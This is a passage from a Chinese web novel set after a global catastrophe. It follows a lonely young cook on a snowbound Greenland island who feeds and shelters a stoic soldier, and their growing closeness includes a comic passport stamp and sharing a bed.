男人的语气平静而礼貌,却带着一股让人下意识想要信服的气势。闵疏下意识地回答:
“闵疏。”
男人又问:“什么时候上的岛。”
闵疏回答:“2025年。”
男人点了点头,问:“从来没有离开过?”
闵疏道:“是。”
男人顿了顿,又看了闵疏一眼,低下头,用几乎听不见的声音道:“……怪不得。”
闵疏不明所以,眨了眨眼,问道:“哥,您叫什么啊?”
男人看向他,帽檐下的眼睛很深邃,下陷的眼窝让他的眼眸显得更黑。闵疏怵了一下,几乎要以为是自己说错话了,然而这时,男人却开了口:
“魏长川。”
闵疏顿了半秒才意识到这是男人的名字:“哦——”
他眨了眨眼,对上男人沉黑的眼眸,下意识道:
“哥你人这么帅,名字也这么好听,真好。”
闵疏有一个很大的特点,就是嘴甜。
无论是小时候在孤儿院还是后来在学校,他都能将周围的人哄得服服帖帖的。这一方面是他性格使然,另一方面也是生活所迫。毕竟在人手常年短缺的福利机构,你很难要求一个护工对常年病歪歪又不讨喜的孩子保持耐心。
名为魏长川的男人听到他的话,也没说话,脸上也看不出到底是高兴还是不高兴。
见他不说话,闵疏有点儿尴尬地搓了搓手,抬眼看向男人:“哥,你吃点儿什么?”
虽然男人有点冷淡,但这可是几个月以
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来中餐馆的头一位客人,闵疏作为一名厨子觉得手有点儿痒。
魏长川顿了顿,他刚在风暴中徒步了近三个小时,确实需要摄入能量。
于是他说:“都可以。”
闵疏这下来劲了:“那我给你弄碗面吧,快些。”
魏长川点了点头,只要是食物都无所谓。他转过头看了看四周,塔楼里的空间不足十平米,只有一个壁炉,一座单人沙发,一个简陋的木制柜子,上面有一台型号老旧的电视,地上铺了一张雪白的北极熊皮毛。
看着很温馨,但不像个餐馆。
闵疏注意到他的目光,赶忙解释:“餐厅在那边儿,我带您去。”
魏长川回过头,看了看闵疏所指的门。
所有能够幸存末世的人神经都是绷紧的。任何人都可能是他的敌人。魏长川曾经被拼死营救下来的幸存者拿枪指着脑袋,也曾被最亲近的战友背叛。在最开始的混乱之中,许多小国的政府在一夜之间瓦解,巨量军火武器流入市场,在人均持械量飙升的几年间,魏长川被告知不能相信任何人。
他的目光落在面前的青年身上。
身高一米七五,体重50kg上下,肌肉量小于30%,无持械,严重偏瘦,呼吸障碍,贫血,肌肉无力。
久经战场的一双眼睛忠诚地为他反馈数据。
这个叫做闵疏的青年显然健康状况堪忧,刚才似乎是在户外站久了,青年的脸色很白,嘴唇发青,似乎还没从寒冷中缓过劲来,肩膀微微收着,在魏长川眼里他就差发抖了。
估计就算给他一把枪,青年也拿不住后坐力。
没有威胁。
在分秒之间,魏长川收回目光,淡淡道:“麻烦你了。”
闵疏不知道就在刚才他已经被男人划入了「老弱病残」的品种,他将魏长川带到餐厅里,又去倒了杯热茶,对男人道:
“哥,你先坐会儿哈。”
随后便转身去后厨做饭了。
魏长川没有立即坐下,在目送青年的身影消失在门后之后,他环视四周,神情微微变了变。
餐厅的户型很方正,从进门处到窗边整齐地摆了五张金属长桌,每一张桌子旁边配了左右五把椅子,似乎是怕色彩太单调,椅套是红蓝黄等等鲜艳的颜色。天花板上吊着长管的节能灯,将整个餐厅照得亮亮堂堂的。
右边的墙壁上挂了一张巨大的红色菜单,菜品南北贯通,有炸酱面,飘香馄饨,炒土豆丝,青椒炒肉,扬州炒饭,包子(肉/素),东北大水饺等等,每一道菜旁边都贴心地印了一张小图片。菜单旁边摆了一张小桌子,上面有个消毒柜,里面整整齐齐地放着干净的碗筷。
像是以往小区楼下常见的家常餐馆,虽然不太时尚,但味道一定很好。
而经历了世界覆灭的魏长川站在这一切中央,心中横生一股荒诞的错位感。仿佛时光倒流,又仿佛他是错入秘境的旅人,在不经意间误入了一片桃花源。
5. 印章
魏长川在原地站了近一分钟,才拉开一把椅子坐下来。
明亮的暖色灯光落在他身上,后厨离得不远,闵疏正在炒菜,随着油脂遇到水汽的滋滋响声,饭菜的香气缓缓传出。
如果不是透过窗外能看见外面狂暴的风雪,魏长川几乎会产生一种在家的安全感。
但实际上他并没有家,基地里只有窄小的床榻和随时会响起的警报,而那位于遥远东方的住宅楼早已随着一切和平与美好被末世的镰刀撕碎,消失在了他的记忆中。
屋内很温暖,魏长川衣服上沾的雪融化,渐渐泛起湿意,他将肩上的披风解了下来,叠好放在了一边。
这时,后厨内传来青年热情而友善的声音:
“哥,给你放点辣?”
魏长川一顿,而后道:“可以。”
闵疏说:“好嘞。”
那就放点儿吧。闵疏想着,这人天寒地冻地走了那么久,正好吃点辣的暖暖身子。
他准备给魏长川做一碗素椒炸酱面。
辣椒用的是真空包装的干辣椒段,在长期储存下失了些味道,但用热油一煸,再加些花椒粉,鲜辣的滋味就能满血复活。再在锅里烧油,油热后加几颗冰糖,微微炒出糖色后下肉末,将猪肉里的油脂都炒出来后再放酱油,慢慢煸炒,让动物油脂与植物油完全融合,就成了臊子。
自家吃,料下得足,闵疏想着男人的体格,给魏长川盛了满满一碗面条,往上面铺了一大勺臊子,再浇上现做的油辣子,一碗素椒杂酱就成了。
闵疏将碗捧出去,放到魏长川面前:“你尝尝合不合胃口。“
他看了魏长川一眼,怕男人觉得太辣,又转身去接了一杯水,回来却见魏长川已经在拿着筷子吃了。
闵疏将水放在他旁边,坐在一边儿看他吃。
魏长川的吃相不算文雅,但吃得很香,他低着头,一筷子都是一大夹面,奇妙的是吃进去的时候并不会发出很大的声音,像是掉入了黑洞一般。
闵疏看着他低头吃面,没多久碗里就少了一大半。
本来还觉得自己是不是煮多了的闵疏有一瞬的惶恐。
厨子最大的恐惧:客人说没吃饱。
他看着魏长川,有点惴惴不安:“……哥,你吃着味道还行吗?”
闻言,魏长川动作一顿,似乎是吃热了,抬头将一直戴着的军帽取了下来。
“味道很好。” 他将帽子放在一边,再次对闵疏道:“谢谢。”
没了帽檐的遮挡,光照在他的脸上。闵疏看见他的脸,结结实实地吃了一惊。
男人的相貌是一种纯雄性的俊美,脸上的每一根线条都是凌厉的。此时他微微抿着唇,下颌线条分明,额角有一点薄汗,乌黑的头发支棱着,几缕向下贴在了浓黑上扬的眉锋上。
这个绝世帅哥用深邃的眼睛看着闵疏,道:“谢谢。”
接着,他便低下头再次吃起面来。
闵疏好一会儿才回过神,呼出一口气,看着男人浓黑的发顶,真心实意地道:
“哥,你也太帅了。”
他惊叹道:“你简直是男神级别啊,怎么不去当明星呢?你要是在我们学校肯定得有一大堆小弟。”
他是真心这么想的。其实不止女孩子喜欢帅哥,男生也喜欢。他大学宿舍有一个睡下铺的哥们儿就是刘德华的铁粉,靠窗的男生还在洗漱台旁边贴了一张金城武的海报,天天都对着镜子试图把头发梳成照片上的样子。
男生小团体里面其实也会崇拜体格外貌出众的男性,特别是魏长川这种长得特别有攻击性、有男人味的帅哥。
“你长得这么帅,还这么高——” 闵疏艳羡地道:“哥你就是网上说的女娲毕设吧。”
魏长川没有回答他,只一个劲儿地吃面。
闵疏现在一点也不介意他的沉默,屁颠屁颠儿地给帅哥盛了碗面汤,还装了一碟泡菜来。
“慢慢吃,这儿还有泡菜。”
泡菜是他一个星期前刚泡上的萝卜,不会太酸,捞出来切成小丁,再在上面浇一勺辣椒油,鲜辣爽口。
就这会儿功夫,魏长川就把一碗面都吃完了,接着将泡菜也吃了个干干净净,最后端起面汤一仰头全喝了。
闵疏一边感叹帅哥喝个汤都这么帅,一边心想这是真的能吃。
干完这碗面,魏长川最多用了五分钟。
闵疏看了看桌子上的碗,又瞅了他两眼,觉得男人看上去还能吃,便试探性地问:“哥,锅里还有,我给你盛出来吧?”
魏长川果然点了点头:“麻烦了。”
“嘿,这有什么麻烦的。” 闵疏笑了笑,作为一个厨子,他就喜欢吃得香的客人。
闵疏高高兴兴地去将锅里的面又盛了出来,捧着脸看着魏长川吃完,脸上挂起了迷之微笑,有种将客人投喂饱了的满足感。
魏长川最后一点肉酱吃了,将碗收了起来,接着站起身往后厨走了过去。
还没等闵疏反应过来,后厨便传来了流水声。闵疏一愣,赶忙起身追过去,向站在水槽前洗碗的男人急道:
“哥、你放着我来吧!”
怎么能让客人洗碗呢?!
魏长川没有理他,默不作声地就将几个碗洗了。闵疏见他不搭理自己,只能眼睁睁地看着男人将碗洗了,再将东西放好,又像只小尾巴似得跟着魏长川走出去。
魏长川回到原来的位置,坐下来。闵疏也跟着他坐下。
屋内很温暖,肚子里是香甜的食物,魏长川的姿态比一开始放松了不少。
他略微斜着身子,一只手放在桌面上,闵疏这才发现他手上戴着白色的手套,刚才吃饭的时候也没有摘下来。
此时,男人的神情有些懒洋洋的,眼睛闭着,像是一只刚捕食完的雄狮,浑身散发着一股饕足的气息。
闵疏看着他,觉得这一幕简直可以用来拍画报,魏长川闭着眼睛睫毛也很长,他问:“哥,你是不是混血儿啊?”
魏长川没有睁开眼,道:“不是。”
“哦。” 闵疏心想,那就是天生丽质了。真是人比人气死人。
他又问:“哥你是从哪来的啊?你真的太强了,今天外头这么冷你穿这么少还能走,你不是不是经常健身啊?你是从华国来的吗?现在岛上的机场都关了,港口也好久没开了,你是不是坐私人飞机来的?”
闵疏这噼里啪啦一大堆说出来,魏长川眉梢一动,缓缓睁开了眼。
闵疏看着他,忽然意识到自己的话是不是太密了?他本来就有点话痨,又这么久没见过什么活人,话匣子一下子刹不住了。
闵疏有点讪讪,刚想道歉,就听到魏长川道:“不是。”
闵疏一愣,竟不知道魏长川回答的是哪一个问题。跟他相比,魏长川的话就太少了,简直是惜字如金。
闵疏想了想,觉得男人可能是在回答最后一个问题,便道:“你不是坐私人飞机来的?那你是怎么来的啊?”
闻言,魏长川顿了顿,接着说出了两个字:“潜艇。”
闵疏接着长大了嘴:“潜艇?”
他先是一愣,接着警惕了起来,看着魏长川的眼神都变了,忐忑不安道:“哥……你到底是做啥的?
潜艇几乎是他在书里或者是电视上才见过的东西,闵疏后知后觉地才发现魏长川的身份似乎很不一般。他狐疑地上下打量了一番魏长川,小心道:
“你、你跟我说实话,我绝对不告诉别人。” 闵疏很是忐忑:“我可不能犯罪啊,我的签证早就过期了,给大使馆写信也没回,要是被警察抓走,那可是会坐牢的!”
魏长川听着他这一长串解释,表情很有些微妙。
闵疏说了一大堆,最后
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还可怜兮兮地道:“你可别吓我,我大学还没毕业呢。”
虽然现在估计他的学籍恐怕都被消了!
魏长川看着他,好半天才道:“我是军人。”
闻言,闵疏话头一顿,诧异地瞪大了眼睛,回过神后骤然恍然大悟——对啊!穿军装、坐潜艇,还能是什么?他怎么这么笨呢!
闵疏的态度登时来了个一百八十度大转变,缩着的脖子伸出来了,脸上扬起灿烂的笑容:“我就说嘛。您这么仪表堂堂,浓眉大眼的,怎么会是坏人呢?我刚才一见您就觉得特别正派!不愧是伟大的人民解放军——”
魏长川看着他,向后靠了靠,那姿态似是想看看他到底还能说出什么话来。
“嘿嘿。” 闵疏搓了搓手,脸上挂着讨好的笑容,将魏长川从里到外、从头到脚夸过一遍后,才道:“您认识外交部的人吗?”
魏长川:……
就算不是在末世,眼前这个大学生似乎对军队乃至整个国家机器的构成的理解都有失偏颇。
他微挑起眉,似是有些好笑:“你想干什么?”
闵疏笑得谄媚:“您看看,我这签证的事——” 他可怜兮兮地道:“我也不是故意要呆在这儿的,是岛上的港口和机场都关了,我坐不起私人飞机,所以才回不去的。”
说着,他凑近了些,努力睁大了眼睛,试图用真诚感化魏长川:“哥,您是我现在在国内唯一的人脉了,在我这儿您尽管随便吃随便喝,行行好,帮我打听打听吧。”
随着青年的靠近,魏长川微微仰起了下颌,看了闵疏半晌,随后晒笑了一声。
见他笑,闵疏有点不高兴了,道:“哥,您别笑,我知道我这儿的都是家常菜。但中餐在这岛上可精贵了,就刚刚那碗面,以前要卖不少钱一碗呢!“
魏长川看着他,似乎是有些无奈。他低下头,手指摩擦了一下额角,随后朝他动了动手指:“去把你的护照拿来。”
闵疏不知道他要干什么:“你、你要干什么?”
魏长川抬起眼,眉尾一压:“快去。”
闵疏一个激灵,立即跳起来,过去乖乖将珍藏在电视柜里的护照拿了出来。
然而他就看见魏长川接过那本猪肝红的护照,,军装胸前的口袋里掏出一个印章,翻开往上头一盖:
“全球最高指令官批准你的签证。”
他说,接着将护照还给闵疏。
闵疏:……
闵疏:???
闵疏惊呆了,有几秒表情和脑子都是空白的,呆立起了半晌后,才抬头用一种看着外星生物的目光看着魏长川。
这个帅哥……莫不是个傻的?
他心想这个帅哥脸是帅,怎么还这么中二呢?什么全球最高指令官?他的护照是能乱盖的吗?!
闵疏心疼坏了,低头一看,只见护照空白的一页上盖上了一个鲜红的印章,外头是华文,里头则是一圈英文,圆心则是一个花纹繁复的徽章。闵疏凑近着看了看,见那圈华文写着:
「允许持有者全球同行」
英文则是:「Allows Global Entrance」
竟然还像模像样的,闵疏想到。
他不知道的是,曾经世界上有数亿人从世界各地涌向基地,他们中有富豪,有皇室,演艺圈明星,甚至有小国的总统——他们愿意付出一切金钱、权力、□□甚至是核武器以交换魏长川手中的一枚印章。
因为这个印章能让人们进入全球任意一个人类生存保护装置,无论是远东地下城,还是北美天空塔,甚至是现在在太空里永久行驶的伊甸号,他们都有资格进入。
然而闵疏显然不理解这枚印章的珍贵性,他看了半天,抬眼小心翼翼地看了环着手臂的魏长川:
“哥……这个能擦掉吗?”
魏长川:……
6. 夜晚
魏长川看着闵疏,许久没说话,看着面前青年清澈中带着些许渴求的眼睛,缓缓眯起了眼睛。
他的眉眼本来就很深邃,这么一眯眼,眉头微蹙,眉眼间距更近。
威胁之意溢于言表。
闵疏心尖一寒,立即将护照收了起来:
“我会好好保管的。” 闵疏整个人都乖了,还抬起头讨好地朝魏长川笑了笑,顺嘴道:“谢谢哥。”
因为孤儿院没钱给他矫正牙齿,闵疏有几颗牙不太整齐,笑起来的时候一颗尖尖的犬齿抵住下唇,喜欢的人会觉得他笑起来很甜。
魏长川的神情逐渐缓和,看着青年小跑出去将护照放好,又小跑回来,搓了搓手,又用那种眼巴巴的眼神看着他。
“哥——” 闵疏说:“我能问你一个问题吗?”
魏长川垂下眼:“说。”
闵疏问:“现在是几几年啊?”
话问出口,魏长川还没说什么,闵疏就先不好意思起来,总觉得自己像个山顶洞人一样,解释道:
“你别介意,这儿是偏了点,没网,连电视信号都没有。我前几年都是靠挂历算日子的。最近小镇的人都走了,商店都关门了,也买不到新的挂历,我就懒得算了……”
魏长川看着他,眸中说不出是什么神色,半晌后垂下眼,道:“现在是2032年。”
闻言,闵疏一愣,接着感叹道:“那我都27岁了。”
还好还好,还没到30岁。闵疏先是松了一口气,接着想,他应该是毕不了业了。过了这么久,学校说不定早就把他的学籍注销了。
这么想着,闵疏就有点肉疼。他是个孤儿,倒是没什么太深的牵绊。但这个大学好歹是他寒窗苦读一分一分考出来的,努力了这么久没得到成果还是有点可惜,于他仍不住问:
“哥,等你回华国的时候,能把我也带走吗?岛上的港口封闭好多年了,飞机也不让飞。” 闵疏用希翼的眼神看着魏长川:“我大学还没毕业呢。”
闵疏觉得自己已经快在岛上呆疯了,闲得都能跟海豹交朋友了,别说是潜艇,现在就算是让他游回去他也能游。
魏长川没有立即回答他,而是沉默地凝视了他片刻,闵疏本来以为他要说什么,然而过了一会儿,男人只是扭过了头:“看情况。”
闵疏一听,心里便有些失落,小小地‘哦’了一声,知道男人这么说肯定就是婉拒了。
闵疏有点小失望,但同时也知道人家只是个素味平生的陌生人,也没有义务非要帮他。况且他还是个签证过期滞留在这儿的非法移民,太麻烦人家了。闵疏迅速调整好了心情,抬头道:
“对不起啊。” 他道:“是我太着急了,向你提这么过分的要求,你别放在心上,我就是在这破地方待太久了。”
闻言,魏长川扭过头来看他。
青年的目光很纯粹,是真诚地再跟他道歉。
魏长川看见过很多眼神,痛苦,悲伤的,贪婪的,孤注一掷,但望向他的目光却带着深深的期翼和渴求。所有人都像绝症患者一般希望他能够拯救他们,若是不能,那些眼神会很快变得绝望,接着便是癫狂的咒骂——
末世无情地撕裂了人类文明,一切礼义廉耻不复存在。
这已经是很长很长的一段时间内,有人用对待普通人的态度跟他说话了。
然而潜移默化中,魏长川已经习惯了扮演一个拯救者的角色,所以听见闵疏跟他道歉时,他很不舒服。
闵疏没有注意到男人蹙起的眉头,他已经自己把自己哄好了。
他看了眼窗外的风雪,回过头对男人道:“这雪一时半会儿停不下来,你就安心在这儿住着,等雪停了再走吧。”
刚刚在想要提出付钱在这里借宿的魏长川沉默了。
“……谢谢。” 魏长川道:“我会付钱的。”
说罢,他低下头伸手朝裤兜摸去,然而却只摸到了薄薄的一层面料。
魏长川动作一顿。
在末世,货币已经不像正常时期那般流通。且他这个级别生活所需的各种用品都由基地直接提供,所以也不太需要钱。
遇到海底暗流,潜艇上浮提前,匆忙之下他没带上钱包。
魏长川:……
另一边,闵疏看出了他的窘迫,立即道:“你不用给我钱,反正这儿也没人,我正愁没人陪呢。”
魏长川顿了片刻,才放下了手,转头看向闵疏。闵疏看着他的脸,心里还小小地补充了一句,有这么一个大帅哥,就这么摆在面前天天看着也是养眼的。
他’嘿嘿’笑了一声,对魏长川道:“哥,你的衣服上都是雪,换下来我给你洗了吧。”
这没出息的样子,要是被他的室友看见了一定会骂他是个颜狗。
魏长川却没动,而是看了看四周,向他发问:“这里有洗衣机?”
闵疏答道:“有的。”
魏长川回过头:“在哪?”
闵疏一愣,接着道:“……在地下室,不过——”
他话还没说完,魏长川就已经转过了身——很奇怪,他明明是第一次来,却似乎知道这座房子的构造,精准地找到了通往地下室的楼梯,将地板上的暗门拉开。
“等等!” 闵疏赶忙跟上去:“下面没有暖气——”
地下室不通暖气,冷的跟冰窖没有两样,所以每次闵疏要下去洗衣服的时候都会穿得厚厚的。
魏长川拉开暗门,感到一阵冷气袭来,他动作顿了顿,头也不回地道:“别下来。”
接着他便走了下去。听了他的话,闵疏便呆在了原地,好奇地往楼梯口低下看。
他没听到洗衣机的声音。他家的洗衣机型号很老,一旦开启就会有轰隆轰隆的响声,可以一直传到一楼。
糟了,他可能不会用吧?
闵疏有些担忧地往楼梯口下看。
下一刻,他便见魏长川自地下室走了上来。
闵疏的眼睛一下子就瞪大了,目光落在魏长川的——身体上。
魏长川把衣服都脱了,上半身只穿了一件白色背心,单薄的布料上沾了汗水,变得微微透明,完全粘在了男人的躯体上。
那是一具健美的,展露着纯粹男性美的肉*体。
跟闵疏印象中女孩子们喜欢的那种「穿衣显瘦脱衣有肉」的薄肌帅哥不同,魏长川的肌肉非常明显。他刚才穿着军装就已经显得很高大了,脱了衣服的体型竟然显得更大,且极具压迫感。
一股冷风自地下室吹来,闵疏打了个冷颤,一下子清醒了过来,赶紧给魏长川让开道。
然而魏长川却在他面前听了下来:
“刚才忘记问了。” 他说:“你有没有要洗的衣服?”
闵疏一愣,接着道:“……啊、有的。”
魏长川便道:“拿来一起洗了。”
闵疏:“哦……哦。” 他下意识听从男人的话,跑去吭哧吭哧地将卧室里的脏衣篮拖了过来——里面有他上次穿过的海豹皮裤子,毛毡帽,还有之前穿脏的外套,一大堆厚重的衣服堆得像座小山。
因为地下室实在是太冷了,闵疏每次都会收集到实在没衣服换了才会拿去洗。所幸他衣服很多,就算洗得不勤也有干净衣服穿。
魏长川接过了脏衣篮,单手就拎了起来,转头回了地下室。
过了一会儿,地下室响起洗衣机运转的巨大响声。那台洗衣机很老了,洗衣服时,特别是甩干的时候听起来就像要散架了一般。
真的会用啊。
闵疏有点惊讶,因为魏长川长了一副什么活都不会干的脸。
不过刚才他洗碗也洗得挺熟练的,闵疏想着。
魏长川从地下室走上来时,闵疏很自觉地让出了道,仰头看着魏长川从自己身边经过。男人线条分明的下颌,和隆起的手臂肌肉在他极近的地方一闪而过。
闵疏注意到他的手臂上有一条泛白的伤痕,斜贯在男人略深的皮肤上,并不可怕,反而非常性感。
闵疏:……
他鼻血都要出来了。
同时,闵疏记起了一件事。
在这儿破岛上呆久
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了,他都差点儿忘了自己是个同性恋。
早说刚才魏长川没钱的时候,他就该说肉偿的。
闵疏想。
不过他也只敢想想,他有色心没色胆,而且魏长川一看就是个铁血直男,还是一拳能把他抡到外星球的那种。
闵疏有些悻悻地跟在魏长川身后,想夸一夸男人的身材,但又有点不敢。但他看着魏长川随着行走的姿态而起伏的背部,还是忍不住称赞道;
“哥,你身材也太好了!”
魏长川脚步未停,回头看了他一眼。
见他没生气,闵疏又道:“真的很好,比那些模特还要好。” 他一说便停不住,凑上去道:“你这个身材跟雕塑一样,简直就是大卫!是宙斯,是天神下凡——”
魏长川脚步一顿,蹙了蹙眉,转过头看着他。
闵疏登时闭上了嘴,在男人的目光下抬手做了个拉拉链的手势。
魏长川这才收回了目光,道:“有洗澡的地方吗?”
·
等两人洗漱完,夜已深了。
闵疏找出了一件干净的体恤,递给魏长川道:“要是不嫌弃,你今晚就穿这个睡吧。”
魏长川接过了衣服,说了声’谢谢’,直接一抬手就把身上的背心脱了下来,套上了闵疏的衣服。
猝不及防看到男人裸*体的闵疏:……
他真的能好好跟这个人睡在一张床上吗?
魏长川将衣服穿好,便见面前的青年正低头捂着鼻子。
“怎么了?”
闵疏一僵,不敢和男人对视:“……没、没什么。” 他有点僵硬地转过头,装作很忙的样子开始整理起被子:“床有点小,两个人睡可能有点挤——”
魏长川有些奇怪地看了他一眼,遂收回了目光,看了看床铺:“睡得下。”
这床可比基地里的大多了。
闵疏点了点头,先爬上床,努力将自己塞在了最里面靠墙的角落里,为魏长川留出空间。魏长川跟着也上了床,随手关了床头的小灯,房间里登时陷入一片黑暗。
闵疏躺在黑暗里,面对着墙,感到身边凹陷下去了一块。
他不敢动,也没出声,就红着耳朵盯着白墙。
过了一会儿,他耳边传来了均匀的呼吸声。魏长川似乎是已经睡着了。
应该是今天累了,闵疏想道。男人睡着了,他反而松了一口气,要不然让他一个弯的跟直男躺在一张床上,他也不知道该说什么。
窗外的风雪还没停,所以今晚没有星光,卧室里漆黑一片,还能隐隐听到屋外呼啸的风声。闵疏一时半会儿睡不着,干脆在脑中开始梳理今天发生的事。
魏长川的到来让他松了一口气。
之前离开小镇的人都没有回来,让闵疏很担心,他一直以为是外面出什么事了。
现在看见还有人,而且还是从华国来的,这让闵疏的不安减轻了不少。
不过魏长川说大使馆早就关闭了,又让闵疏有些担心。
不会是出了什么外交事故吧?这样的话他之前寄信给大使馆没有得到回应倒是也说得通了。那港口和机场的封闭,难不成也是因为这个缘故吗?
闵疏苦恼地想了一会儿,小小地叹了口气,也不知道他什么时候才可以离开。
不会等他不知道哪天死了都还不能回去吧?
刚刚上岛的时候,闵疏是真心觉得死在岛上也无所谓。
但经过了这么多年独自待在极地小岛上的时光,魏长川的突然到来让闵疏意识到他在死前至少还想看一眼照顾他的阿姨,或许也可以见一见他的室友们。
这或许就是传说中的’落叶归根’吧,闵疏想道。
就在这时,闵疏忽然被一阵动静打断了思绪。
床榻发出咯吱的细微响声,像是有人翻过了身,接着,他旁边的床榻下陷了些许——
接着,一个火热的温度贴上了他的后背。
闵疏在黑暗中瞪大了眼睛,呼吸一滞,缓缓垂下眼,在黑暗中看见一条手臂环在了自己的腰上。
7. 我喜欢男生
闵疏:……
闵疏:??
好不容易生出的睡意在瞬间烟消云散。
在黑暗中,闵疏''啪''地一下睁开了眼睛。
这、这是怎么回事?!
闵疏感受到背后灼热的温度,眼珠子拼命乱转——这床上就两个人,谁在他身后贴着不言而喻。
接着,闵疏忽然腰间一紧。
他整个人僵住,在黑暗中缓缓垂下眼,看见了腰间横贯的一条手臂。
那条手臂刚刚还让他馋得流口水,小臂上肌肉线条流畅,正搭在他的腰上。
闵疏:!!!
闵疏下意识地挣扎起来,然而他刚一动,腰上的手臂就突然收紧。
接着,闵疏就感觉自己在床上‘滋溜’一下平移了一小段,背后撞上了个炽热而坚实的触感。闵疏甚至在耳廓边感到了男人温热的吐息,似乎是很满足似得,发出了一声喟叹。
他被魏长川整个人抱在了怀里。
还不是松松地搂着,还是像抱着个大玩偶一样,一条手臂自腰上横过去,另一条搂着他的肩膀,将闵疏牢牢固定在怀里。
闵疏觉得自己的汗毛都要炸开了!
这、这是什么!
这又是什么直男的小手段吗?!
闵疏满脸通红,感受到男人厚实的胸肌抵在他的脊背上,体温很高,简直像个火炉一样,热烘烘地环住他。闵疏头一次理解到古人说的''暖被窝''是什么意思。
跟他的无措不同,魏长川睡得很香,他的身躯随着悠长的呼吸起伏着,发出略重的呼吸声。
倒也不是打呼噜,男人微沉的呼吸声让闵疏想起之前他打过工的民宿老板养的金毛犬,在阳光好的睡得很舒服的时候就会发出这种声音。
闵疏僵了一会儿,挣也挣不开,动也动不了,过了一会儿,竟也渐渐生出了睡意。
魏长川的怀抱实在是太温暖,让他常年冰凉的手脚都暖了起来。
在温暖的地方,人类的意志一般是很薄弱的,过了一会儿,闵疏便睡了过去。
·
闵疏意外地睡得很熟。
伊苏阿去世后的这几天,他的睡眠一直不太好,经常彻夜彻夜的睡不着。就算是睡着了,有时也会迷迷糊糊地听到摇篮曲的声音,醒来却发现周遭空无一人,然后就再也睡不着了。
而今天,他的睡梦格外黑甜,一个梦也没做。
清晨,他是被一点窸窣声吵醒的。
闵疏睁开眼睛,屋子里还是黑的,他看向窗外,发现风雪还没有停。
接着,他听到了耳边平稳的呼吸声。
闵疏的目光落在男人英挺的眉眼上。
不是何时,他从背对魏长川变成了正对。男人的手臂环着他的肩背,神情放松,还在睡。
见他睡得这么沉,闵疏竟微妙地生出一丝不爽,忽然想起以前网络上流行的一句话——直男轻轻一卖,留我痛苦一生。
这人怎么回事,随随便便跟人搂搂抱抱的,直男会这样吗?
正在这时,魏长川忽然睁开了眼睛。
他的眼形深邃,长睫微微颤了颤,目光逐渐变得清明。当看清两人的姿势时,他眼中闪过惊讶,接着猛地放开了闵疏,退开了些许。可这本就是张单人床,退也退不到哪去。
魏长川看起来十分困惑,他皱起眉,低头看了看自己的手,又看了看闵疏:“……对不起。”
他抬手揉了揉额角,再睁开眼时,神情已经恢复了严肃:
“昨晚是我冒犯了。” 他说。
闵疏也有点尴尬,道:“也算不上冒犯。” 他是那种看不得别人尴尬的人,刚才心里那点小埋怨早被他抛到了脑后,主动解围道:“反正都是男的,抱一抱又不会怎么样,哥你别放在心上。”
魏长川的神情还是很严肃,他似乎有点烦躁,抬手捋开额前的头发:“今晚我睡地上。”
闵疏闻言一愣,接着道:“那怎么行?”
他这儿只有一床被褥,房子里也没有地暖,屋子下面隔着地基就是冻土,平时光脚踩在上面都会被冻得发抖,更不要说是睡在上面了。
他们镇上没有医院,要是冻病了可不是开玩笑的。
“绝对不行。” 闵疏皱起眉:“睡地上会生病的,我不介意,哥你就睡床上。”
魏长川听了,不置可否地皱着眉头。
然而说着说着,闵疏又忽然想到自己是同性恋这件事,他不介意,不代表别人不介意,还是得告诉魏长川才行。
于是他道:“对了哥,忘记跟你说了,我喜欢男生。要是哥介意的话——”
闵疏说到这儿,忽然一停。
等等,这个时候说出来,不就显得他是处心积虑的要跟魏长川睡在一张床上吗?闵疏想道。
同时,魏长川听见了他的话,抬头看了他一眼。
闵疏于他对上眼神,顿时僵住了,突然意识到自己就这么在陌生人面前出柜了。
好社死!!
闵疏瞬间尬住了,见魏长川看着他,急忙开始手忙脚乱地解释:“我不是那个意思,我只想说,我虽然喜欢男生,但是不喜欢你——”
听到「不喜欢」三个字,魏长川皱着的眉头松开了些许,表情有点微妙。
闵疏意识到自己说错了话:“不、不不是那个意思!我也不是不喜欢哥!”
“哥你很好,长得也很帅……我、我就是想说,虽然我喜欢男生,就算我们睡在一张穿上,我也不会对你做什么的,真的不用担心!”
他手忙脚乱地解释了一通,魏长川在一边听着,倒是没说什么,只是看着闵疏的目光逐渐变得有些微妙。
他的目光落在窘迫地坐在床上的青年,微微向下移动了一点,接着偏过了头:
“嗯。” 闵疏听到他说:“我不担心。”
闻言,闵疏愣了愣,接着也低头看了看自己的小胳膊小腿,又看了看魏长川结实的臂膀,沉默了。
闵疏忽然意识到,好像这一早上他说的话没有一句是对的。
难道在冷的地方呆久了脑子也会被冰冻住吗?为什么他的智商好像跟被冻关机的手机一样飞走了?
闵疏彻底被自己的行为尬住,窘迫地一句话都说不出来。
魏长川也没说话,两人就这么尴尬地对立着。
就在这时,一阵窸窣声响起,比方才闵疏听到的还要大声。闵疏警觉地转头看了看窗外,小声道:“屋
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顶上的雪太多了……”
格陵兰岛的屋子都是木制的,承重有限,如果积雪太多有可能会把屋子压塌。闵疏有点担心,然而他刚想起身,便听魏长川道:
“我去。”
他站起来就走了出去,闵疏都没来得及拦。他赶忙给自己套上保暖的毛绒袜子,宽大的毛衣,和室内穿的加绒裤子,跟着也追了出去。
闵疏打开门,几只睡醒的狗子就围了过来,拿他们沾着雪花的皮毛蹭闵疏,呜呜叫着撒娇。
闵疏随便抓了几块冻鱼喂给它们,这时,他听见厚厚的积雪掉落在院子里的声音。
没一会儿,魏长川走了过来——他身上只穿了闵疏的睡衣,那件在他身上显得很宽大的睡衣紧紧绷在男人身上。随着他走近,狗子们竟然自动给他让开了路,魏长川动作自然地将站在门口的闵疏带进了屋内,顺手关上门。
“哥——” 闵疏惊讶地瞪大了眼睛:“你穿着这身就出去了?”
外面还刮着暴风雪,男人竟穿着身睡衣就出去了?
“嗯。” 魏长川似是完全没注意到他的震惊,而是看了眼门,回过头问他:”狗不用放进来?”
闵疏:“不用……”
魏长川点了点头,转身走向浴室,应该是去洗漱的。
闵疏一个人愣在原地,难不成是他病太久,已经忘记健康的人是怎么样了的吗?可就算是纽因特族的男人,在这种天气里也会穿上厚厚的皮毛衣服再出门啊。而且昨天魏长川出现的时候也穿的那身制服看着也不怎么保暖……
闵疏想起昨晚暖烘烘的被窝,也许有些人的体温就是要高一点?
闵疏有点困惑,但想不明白也就不再多想了。洗漱完毕后,他问魏长川:“哥,早饭你想吃什么?”
魏长川说:“都可以。”
闵疏便说:“那我就随便做点儿吧。”
